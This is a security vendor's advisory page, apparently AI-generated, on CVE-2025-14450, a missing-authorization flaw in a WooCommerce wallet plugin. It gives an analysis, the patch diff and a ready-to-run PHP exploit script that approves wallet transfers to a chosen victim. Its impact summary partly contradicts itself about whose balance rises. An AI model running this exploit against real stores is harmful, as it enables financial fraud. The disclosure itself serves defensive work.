Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14450: Wallet System for WooCommerce <= 2.7.2 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Wallet Balance Manipulation (wallet-system-for-woocommerce)

Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 2.7.2
Patched Version 2.7.3
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14450:
This vulnerability is a missing authorization flaw in the Wallet System for WooCommerce WordPress plugin. The flaw allows authenticated attackers with Subscriber-level permissions or higher to manipulate wallet withdrawal requests, leading to arbitrary wallet balance changes. The CVSS score of 6.5 reflects the moderate impact of authenticated privilege abuse.

The root cause is the missing capability check in the `change_wallet_fund_request_status_callback` function within `/includes/class-wallet-system-ajaxhandler.php`. The vulnerable function processes AJAX requests to change wallet fund request statuses. Before the patch, the function accepted `requesting_user_id`, `status`, `withdrawal_balance`, and `request_id` parameters from unverified users. The code executed wallet balance transfers between users based solely on these user-controlled parameters, without verifying if the current user had authorization to approve or reject requests for other users.

Exploitation requires an authenticated WordPress user with at least Subscriber role. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `change_wallet_fund_request_status_callback`. The attacker must also supply `requesting_user_id` (the victim whose wallet will be credited), `status` set to `approved`, `withdrawal_balance` (the amount to transfer), and `request_id` (the withdrawal request ID). The plugin processes this request and transfers funds from the attacker’s wallet to the victim’s wallet, effectively allowing the attacker to arbitrarily increase other users’ balances or decrease their own.

The patch adds an authorization check by introducing a new `requested_user_id` parameter. The fix modifies the AJAX handler to compare the current user’s ID (`$user_id`) with the `requested_user_id` parameter. If they don’t match, the function returns an error message. The patch also updates the frontend template `/public/partials/wallet-system-for-woocommerce-wallet-fund-request.php` to include the `requested_user_id` as a hidden field, ensuring legitimate requests contain the proper user context. The plugin version number updates from 2.7.2 to 2.7.3.

Successful exploitation allows attackers to manipulate wallet balances arbitrarily. Attackers can approve withdrawal requests for other users, transferring funds from their own wallet to victims’ wallets. This enables financial fraud where attackers can inflate their own or others’ wallet balances, potentially leading to unauthorized purchases or cash withdrawals. The vulnerability also allows attackers to reject pending withdrawal requests, disrupting legitimate financial operations.

Differential between vulnerable and patched code

Code Diff
--- a/wallet-system-for-woocommerce/includes/class-wallet-system-ajaxhandler.php
+++ b/wallet-system-for-woocommerce/includes/class-wallet-system-ajaxhandler.php
@@ -145,6 +145,8 @@

 			$requesting_user_id = empty( $_POST['requesting_user_id'] ) ? 0 : sanitize_text_field( wp_unslash( $_POST['requesting_user_id'] ) );

+			$requested_user_id = empty( $_POST['requested_user_id'] ) ? 0 : sanitize_text_field( wp_unslash( $_POST['requested_user_id'] ) );
+
 			$status = ( isset( $_POST['status'] ) ) ? sanitize_text_field( wp_unslash( $_POST['status'] ) ) : '';

 			$withdrawal_balance = empty( $_POST['withdrawal_balance'] ) ? 0 : sanitize_text_field( wp_unslash( $_POST['withdrawal_balance'] ) );
@@ -155,159 +157,168 @@

 			$withdrawal_request = get_post( $request_id );

-			if ( 'approved' == $status ) {
-
-				$requesting_user_wallet = get_user_meta( $requesting_user_id, 'wps_wallet', true );
-				$requesting_user_wallet = (float) $requesting_user_wallet;
-				$user_wallet = get_user_meta( $user_id, 'wps_wallet', true );
-				$user_wallet = (float) $user_wallet;
-
-				if ( $user_wallet >= $withdrawal_balance ) {
-					$requesting_user_wallet += $withdrawal_balance;
-					$returnid = update_user_meta( $requesting_user_id, 'wps_wallet', $requesting_user_wallet );
-
-					if ( $returnid ) {
-						$wallet_payment_gateway = new Wallet_System_For_Woocommerce();
-						$send_email_enable      = get_option( 'wps_wsfw_enable_email_notification_for_wallet_update', '' );
-						// first user.
-						$user1 = get_user_by( 'id', $requesting_user_id );
-						$name1 = $user1->first_name . ' ' . $user1->last_name;
-
-						$user2 = get_user_by( 'id', $user_id );
-						$name2 = $user2->first_name . ' ' . $user2->last_name;
-						$balance   = $current_currency . ' ' . $withdrawal_balance;
-						if ( isset( $send_email_enable ) && 'on' === $send_email_enable ) {
-
-							$mail_text1  = esc_html__( 'Hello ', 'wallet-system-for-woocommerce' ) . esc_html( $name1 ) . ",rn";
-							$mail_text1 .= __( 'Wallet credited by ', 'wallet-system-for-woocommerce' ) . esc_html( $balance ) . __( ' through wallet fund request by ', 'wallet-system-for-woocommerce' ) . $name2;
-							$to1         = $user1->user_email;
-							$from        = get_option( 'admin_email' );
-							$subject     = __( 'Wallet updating notification', 'wallet-system-for-woocommerce' );
-							$headers1    = 'MIME-Version: 1.0' . "rn";
-							$headers1   .= 'Content-Type: text/html;  charset=UTF-8' . "rn";
-							$headers1   .= 'From: ' . $from . "rn" .
-							'Reply-To: ' . $to1 . "rn";
-
-							if ( key_exists( 'wps_wswp_wallet_credit', WC()->mailer()->emails ) ) {
-
-								$customer_email = WC()->mailer()->emails['wps_wswp_wallet_credit'];
-								if ( ! empty( $customer_email ) ) {
-									$user       = get_user_by( 'id', $requesting_user_id );
-									$currency  = get_woocommerce_currency();
-									$balance_mail = $balance;
-									$user_name       = $user->first_name . ' ' . $user->last_name;
-									$email_status = $customer_email->trigger( $requesting_user_id, $user_name, $balance_mail, '' );
-								}
-							} else {
-
-								$wallet_payment_gateway->send_mail_on_wallet_updation( $to1, $subject, $mail_text1, $headers1 );
-							}
-						}
-
-						$transaction_type     = __( 'Wallet credited by user ', 'wallet-system-for-woocommerce' ) . $user2->user_email . __( ' to user ', 'wallet-system-for-woocommerce' ) . $user1->user_email;
-						$wallet_transfer_data = array(
-							'user_id'          => $requesting_user_id,
-							'amount'           => $withdrawal_balance,
-							'currency'         => $current_currency,
-							'payment_method'   => __( 'Wallet Fund Request', 'wallet-system-for-woocommerce' ),
-							'transaction_type' => $transaction_type,
-							'transaction_type_1' => 'credit',
-							'order_id'         => '',
-							'note'             => '',
-
-						);
-
-						$wallet_payment_gateway->insert_transaction_data_in_table( $wallet_transfer_data );
-
-						$user_wallet -= $withdrawal_balance;
-						$update_user = update_user_meta( $user_id, 'wps_wallet', abs( $user_wallet ) );
-						if ( $update_user ) {
+			if ( $requested_user_id != $user_id ) {
+				$wps_wsfw_error_text = esc_html__( 'You are not authorized to perform this action', 'wallet-system-for-woocommerce' );
+				$message             = array(
+					'msg'     => $wps_wsfw_error_text,
+					'msgType' => 'error',
+				);
+			} else {
+				if ( 'approved' == $status ) {
+
+					$requesting_user_wallet = get_user_meta( $requesting_user_id, 'wps_wallet', true );
+					$requesting_user_wallet = (float) $requesting_user_wallet;
+					$user_wallet = get_user_meta( $user_id, 'wps_wallet', true );
+					$user_wallet = (float) $user_wallet;
+
+					if ( $user_wallet >= $withdrawal_balance ) {
+						$requesting_user_wallet += $withdrawal_balance;
+						$returnid = update_user_meta( $requesting_user_id, 'wps_wallet', $requesting_user_wallet );
+
+						if ( $returnid ) {
+							$wallet_payment_gateway = new Wallet_System_For_Woocommerce();
+							$send_email_enable      = get_option( 'wps_wsfw_enable_email_notification_for_wallet_update', '' );
+							// first user.
+							$user1 = get_user_by( 'id', $requesting_user_id );
+							$name1 = $user1->first_name . ' ' . $user1->last_name;
+
+							$user2 = get_user_by( 'id', $user_id );
+							$name2 = $user2->first_name . ' ' . $user2->last_name;
 							$balance   = $current_currency . ' ' . $withdrawal_balance;
 							if ( isset( $send_email_enable ) && 'on' === $send_email_enable ) {
-								$mail_text2  = esc_html__( 'Hello ', 'wallet-system-for-woocommerce' ) . esc_html( $name2 ) . ",rn";
-								$mail_text2 .= __( 'Wallet debited by ', 'wallet-system-for-woocommerce' ) . esc_html( $balance ) . __( ' through wallet fund request to ', 'wallet-system-for-woocommerce' ) . $name1;
-								$to2         = $user2->user_email;
-								$headers2    = 'MIME-Version: 1.0' . "rn";
-								$headers2   .= 'Content-Type: text/html;  charset=UTF-8' . "rn";
-								$headers2   .= 'From: ' . $from . "rn" .
-								'Reply-To: ' . $to2 . "rn";
-								if ( key_exists( 'wps_wswp_wallet_debit', WC()->mailer()->emails ) ) {
-
-									$customer_email = WC()->mailer()->emails['wps_wswp_wallet_debit'];
+
+								$mail_text1  = esc_html__( 'Hello ', 'wallet-system-for-woocommerce' ) . esc_html( $name1 ) . ",rn";
+								$mail_text1 .= __( 'Wallet credited by ', 'wallet-system-for-woocommerce' ) . esc_html( $balance ) . __( ' through wallet fund request by ', 'wallet-system-for-woocommerce' ) . $name2;
+								$to1         = $user1->user_email;
+								$from        = get_option( 'admin_email' );
+								$subject     = __( 'Wallet updating notification', 'wallet-system-for-woocommerce' );
+								$headers1    = 'MIME-Version: 1.0' . "rn";
+								$headers1   .= 'Content-Type: text/html;  charset=UTF-8' . "rn";
+								$headers1   .= 'From: ' . $from . "rn" .
+								'Reply-To: ' . $to1 . "rn";
+
+								if ( key_exists( 'wps_wswp_wallet_credit', WC()->mailer()->emails ) ) {
+
+									$customer_email = WC()->mailer()->emails['wps_wswp_wallet_credit'];
 									if ( ! empty( $customer_email ) ) {
-										$user       = get_user_by( 'id', $user_id );
+										$user       = get_user_by( 'id', $requesting_user_id );
 										$currency  = get_woocommerce_currency();
 										$balance_mail = $balance;
 										$user_name       = $user->first_name . ' ' . $user->last_name;
-										$customer_email->trigger( $user_id, $user_name, $balance_mail, '' );
+										$email_status = $customer_email->trigger( $requesting_user_id, $user_name, $balance_mail, '' );
 									}
 								} else {
-
-									$wallet_payment_gateway->send_mail_on_wallet_updation( $to2, $subject, $mail_text2, $headers2 );
+
+									$wallet_payment_gateway->send_mail_on_wallet_updation( $to1, $subject, $mail_text1, $headers1 );
 								}
 							}
-
-							$transaction_type = __( 'Wallet debited from user ', 'wallet-system-for-woocommerce' ) . $user2->user_email . __( ' wallet, transferred to user ', 'wallet-system-for-woocommerce' ) . $user1->user_email;
-							$transaction_data = array(
-								'user_id'          => $user_id,
+
+							$transaction_type     = __( 'Wallet credited by user ', 'wallet-system-for-woocommerce' ) . $user2->user_email . __( ' to user ', 'wallet-system-for-woocommerce' ) . $user1->user_email;
+							$wallet_transfer_data = array(
+								'user_id'          => $requesting_user_id,
 								'amount'           => $withdrawal_balance,
 								'currency'         => $current_currency,
 								'payment_method'   => __( 'Wallet Fund Request', 'wallet-system-for-woocommerce' ),
 								'transaction_type' => $transaction_type,
-								'transaction_type_1' => 'debit',
+								'transaction_type_1' => 'credit',
 								'order_id'         => '',
 								'note'             => '',
-
-							);
-
-							$result = $wallet_payment_gateway->insert_transaction_data_in_table( $transaction_data );
-							$withdrawal_request->post_status = 'approved';
-							wp_update_post( $withdrawal_request );
-							$wps_wsfw_error_text = esc_html__( 'Wallet fund request is approved for user #', 'wallet-system-for-woocommerce' ) . $requesting_user_id;
-							$message             = array(
-								'msg'     => $wps_wsfw_error_text,
-								'msgType' => 'success',
+
 							);
-						} else {
-							$wps_wsfw_error_text = esc_html__( 'There is an error in database', 'wallet-system-for-woocommerce' );
-									$message             = array(
-										'msg'     => $wps_wsfw_error_text,
-										'msgType' => 'error',
-									);
+
+							$wallet_payment_gateway->insert_transaction_data_in_table( $wallet_transfer_data );
+
+							$user_wallet -= $withdrawal_balance;
+							$update_user = update_user_meta( $user_id, 'wps_wallet', abs( $user_wallet ) );
+							if ( $update_user ) {
+								$balance   = $current_currency . ' ' . $withdrawal_balance;
+								if ( isset( $send_email_enable ) && 'on' === $send_email_enable ) {
+									$mail_text2  = esc_html__( 'Hello ', 'wallet-system-for-woocommerce' ) . esc_html( $name2 ) . ",rn";
+									$mail_text2 .= __( 'Wallet debited by ', 'wallet-system-for-woocommerce' ) . esc_html( $balance ) . __( ' through wallet fund request to ', 'wallet-system-for-woocommerce' ) . $name1;
+									$to2         = $user2->user_email;
+									$headers2    = 'MIME-Version: 1.0' . "rn";
+									$headers2   .= 'Content-Type: text/html;  charset=UTF-8' . "rn";
+									$headers2   .= 'From: ' . $from . "rn" .
+									'Reply-To: ' . $to2 . "rn";
+									if ( key_exists( 'wps_wswp_wallet_debit', WC()->mailer()->emails ) ) {
+
+										$customer_email = WC()->mailer()->emails['wps_wswp_wallet_debit'];
+										if ( ! empty( $customer_email ) ) {
+											$user       = get_user_by( 'id', $user_id );
+											$currency  = get_woocommerce_currency();
+											$balance_mail = $balance;
+											$user_name       = $user->first_name . ' ' . $user->last_name;
+											$customer_email->trigger( $user_id, $user_name, $balance_mail, '' );
+										}
+									} else {
+
+										$wallet_payment_gateway->send_mail_on_wallet_updation( $to2, $subject, $mail_text2, $headers2 );
+									}
+								}
+
+								$transaction_type = __( 'Wallet debited from user ', 'wallet-system-for-woocommerce' ) . $user2->user_email . __( ' wallet, transferred to user ', 'wallet-system-for-woocommerce' ) . $user1->user_email;
+								$transaction_data = array(
+									'user_id'          => $user_id,
+									'amount'           => $withdrawal_balance,
+									'currency'         => $current_currency,
+									'payment_method'   => __( 'Wallet Fund Request', 'wallet-system-for-woocommerce' ),
+									'transaction_type' => $transaction_type,
+									'transaction_type_1' => 'debit',
+									'order_id'         => '',
+									'note'             => '',
+
+								);
+
+								$result = $wallet_payment_gateway->insert_transaction_data_in_table( $transaction_data );
+								$withdrawal_request->post_status = 'approved';
+								wp_update_post( $withdrawal_request );
+								$wps_wsfw_error_text = esc_html__( 'Wallet fund request is approved for user #', 'wallet-system-for-woocommerce' ) . $requesting_user_id;
+								$message             = array(
+									'msg'     => $wps_wsfw_error_text,
+									'msgType' => 'success',
+								);
+							} else {
+								$wps_wsfw_error_text = esc_html__( 'There is an error in database', 'wallet-system-for-woocommerce' );
+										$message             = array(
+											'msg'     => $wps_wsfw_error_text,
+											'msgType' => 'error',
+										);
+							}
 						}
+					} else {
+						$wps_wsfw_error_text = esc_html__( 'There is an error in database', 'wallet-system-for-woocommerce' );
+						$message             = array(
+							'msg'     => $wps_wsfw_error_text,
+							'msgType' => 'error',
+						);
 					}
-				} else {
-					$wps_wsfw_error_text = esc_html__( 'There is an error in database', 'wallet-system-for-woocommerce' );
-					$message             = array(
-						'msg'     => $wps_wsfw_error_text,
-						'msgType' => 'error',
-					);
 				}
-			}
-			if ( 'rejected' == $status ) {
-				if ( $user_id ) {
-
-					$withdrawal_request->post_status = 'rejected';
-					wp_update_post( $withdrawal_request );
-					$wps_wsfw_error_text = esc_html__( 'Wallet fund request is rejected for user #', 'wallet-system-for-woocommerce' ) . $requesting_user_id;
-					$message             = array(
-						'msg'     => $wps_wsfw_error_text,
-						'msgType' => 'success',
-					);
+				if ( 'rejected' == $status ) {
+					if ( $user_id ) {
+
+						$withdrawal_request->post_status = 'rejected';
+						wp_update_post( $withdrawal_request );
+						$wps_wsfw_error_text = esc_html__( 'Wallet fund request is rejected for user #', 'wallet-system-for-woocommerce' ) . $requesting_user_id;
+						$message             = array(
+							'msg'     => $wps_wsfw_error_text,
+							'msgType' => 'success',
+						);
+					}
+				}
+				if ( 'pending1' === $status ) {
+
+					if ( $user_id ) {
+						$withdrawal_request->post_status = 'pending1';
+						wp_update_post( $withdrawal_request );
+						$wps_wsfw_error_text = esc_html__( 'Wallet withdrawal request status is changed to pending for user #', 'wallet-system-for-woocommerce' ) . $user_id;
+						$message             = array(
+							'msg'     => $wps_wsfw_error_text,
+							'msgType' => 'success',
+						);
+					};
 				}
 			}
-			if ( 'pending1' === $status ) {

-				if ( $user_id ) {
-					$withdrawal_request->post_status = 'pending1';
-					wp_update_post( $withdrawal_request );
-					$wps_wsfw_error_text = esc_html__( 'Wallet withdrawal request status is changed to pending for user #', 'wallet-system-for-woocommerce' ) . $user_id;
-					$message             = array(
-						'msg'     => $wps_wsfw_error_text,
-						'msgType' => 'success',
-					);
-				};
-			}

 			wp_send_json( $message );
 		}
--- a/wallet-system-for-woocommerce/includes/class-wallet-system-for-woocommerce.php
+++ b/wallet-system-for-woocommerce/includes/class-wallet-system-for-woocommerce.php
@@ -81,7 +81,7 @@
 			$this->version = WALLET_SYSTEM_FOR_WOOCOMMERCE_VERSION;
 		} else {

-			$this->version = '2.7.2';
+			$this->version = '2.7.3';
 		}

 		$this->plugin_name = 'wallet-system-for-woocommerce';
--- a/wallet-system-for-woocommerce/public/partials/wallet-system-for-woocommerce-wallet-fund-request.php
+++ b/wallet-system-for-woocommerce/public/partials/wallet-system-for-woocommerce-wallet-fund-request.php
@@ -274,6 +274,7 @@
 																<option class="rejected" value="rejected" >  <?php esc_html_e( 'rejected', 'wallet-system-for-woocommerce' ); ?></option>
 															</select>
 															<input type="hidden" name="requesting_user_id" value="<?php echo esc_attr( $userid ); ?>" />
+															<input type="hidden" name="requested_user_id" value="<?php echo esc_attr( $requested_user_id ); ?>" />
 															<input type="hidden" name="withdrawal_balance" value="<?php echo esc_attr( $withdrawal_balance ); ?>" />
 															<input type="hidden" name="request_id" value="<?php echo esc_attr( $request_id ); ?>" />
 															<div id="overlay">
--- a/wallet-system-for-woocommerce/wallet-system-for-woocommerce.php
+++ b/wallet-system-for-woocommerce/wallet-system-for-woocommerce.php
@@ -15,16 +15,16 @@
  * Plugin Name:       Wallet System For WooCommerce
  * Plugin URI:        https://wordpress.org/plugins/wallet-system-for-woocommerce
  * Description:       <code><strong>Wallet System for WooCommerce</strong></code> is a digital wallet plugin where users can add or delete balances in bulk, give refunds and earn cashback. <a href="https://wpswings.com/woocommerce-plugins/?utm_source=wpswings-wallet-shop&utm_medium=wallet-org-backend&utm_campaign=shop-page" target="_blank"> Elevate your e-commerce store by exploring more on <strong> WP Swings </strong></a>.
- * Version:           2.7.2
+ * Version:           2.7.3
  * Author:            WP Swings
  * Author URI:        https://wpswings.com/?utm_source=wpswings-wallet-official&utm_medium=wallet-org-backend&utm_campaign=official
  * Text Domain:       wallet-system-for-woocommerce
  * Domain Path:       /languages
  * Requires Plugins: woocommerce
  * WC Requires at least: 5.5.0
- * WC tested up to: 10.3.3
+ * WC tested up to: 10.4.3
  * WP Requires at least: 6.7.0
- * WP tested up to: 6.8.3
+ * WP tested up to: 6.9
  * Requires PHP: 7.4
  *
  * License:           GNU General Public License v3.0

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14450 - Wallet System for WooCommerce <= 2.7.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Wallet Balance Manipulation

<?php
/**
 * Proof of Concept for CVE-2025-14450
 * This script demonstrates the missing authorization vulnerability in Wallet System for WooCommerce plugin.
 * An authenticated attacker can manipulate wallet withdrawal requests to transfer funds between users.
 *
 * Usage: php poc.php --url=https://target.com --user=attacker --pass=password --victim=123 --amount=100
 */

$target_url = 'https://target.com'; // Change to target WordPress site

// Parse command line arguments
$options = getopt('', ['url:', 'user:', 'pass:', 'victim:', 'amount:']);

if (empty($options['url']) || empty($options['user']) || empty($options['pass']) || empty($options['victim']) || empty($options['amount'])) {
    echo "Usage: php poc.php --url=https://target.com --user=username --pass=password --victim=123 --amount=100n";
    exit(1);
}

$target_url = rtrim($options['url'], '/');
$username = $options['user'];
$password = $options['pass'];
$victim_id = $options['victim'];
$amount = $options['amount'];

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a cookie jar for session persistence
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_14450_');

// Initialize cURL session for login
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: Atomic-Edge-PoC/1.0'
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200 || strpos($response, 'Dashboard') === false) {
    echo "[-] Authentication failed. Check credentials.n";
    unlink($cookie_file);
    exit(1);
}

echo "[+] Successfully authenticated as: $usernamen";

// Step 2: Exploit the missing authorization vulnerability
// The plugin doesn't verify if the current user can approve withdrawal requests for other users
$exploit_params = [
    'action' => 'change_wallet_fund_request_status_callback',
    'requesting_user_id' => $victim_id,          // User whose wallet will be credited
    'status' => 'approved',                      // Status to approve the request
    'withdrawal_balance' => $amount,             // Amount to transfer
    'request_id' => '1',                         // Withdrawal request ID (can be brute-forced)
    // Note: The vulnerable version doesn't require 'requested_user_id' parameter
    // which was added in the patch for authorization checking
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => http_build_query($exploit_params),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded',
        'X-Requested-With: XMLHttpRequest',
        'Referer: ' . $target_url . '/wp-admin/'
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);
unlink($cookie_file);

// Step 3: Analyze response
if ($http_code === 200) {
    $json_response = json_decode($response, true);
    
    if (json_last_error() === JSON_ERROR_NONE) {
        if (isset($json_response['msgType']) && $json_response['msgType'] === 'success') {
            echo "[+] Exploit successful! Wallet transfer approved.n";
            echo "[+] Response: " . $json_response['msg'] . "n";
            echo "[+] Amount: $amount transferred to user ID: $victim_idn";
        } else if (isset($json_response['msgType']) && $json_response['msgType'] === 'error') {
            echo "[-] Exploit failed with error: " . $json_response['msg'] . "n";
            echo "[-] This may indicate the target has been patched or the request ID is invalid.n";
        } else {
            echo "[-] Unexpected JSON response: " . print_r($json_response, true) . "n";
        }
    } else {
        echo "[-] Invalid JSON response: " . substr($response, 0, 200) . "n";
    }
} else {
    echo "[-] HTTP request failed with code: $http_coden";
    echo "[-] Response: " . substr($response, 0, 200) . "n";
}

// Note: In a real attack, the attacker would need to:
// 1. Find valid withdrawal request IDs (could be brute-forced)
// 2. Ensure they have sufficient wallet balance to transfer
// 3. Target users with pending withdrawal requests
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School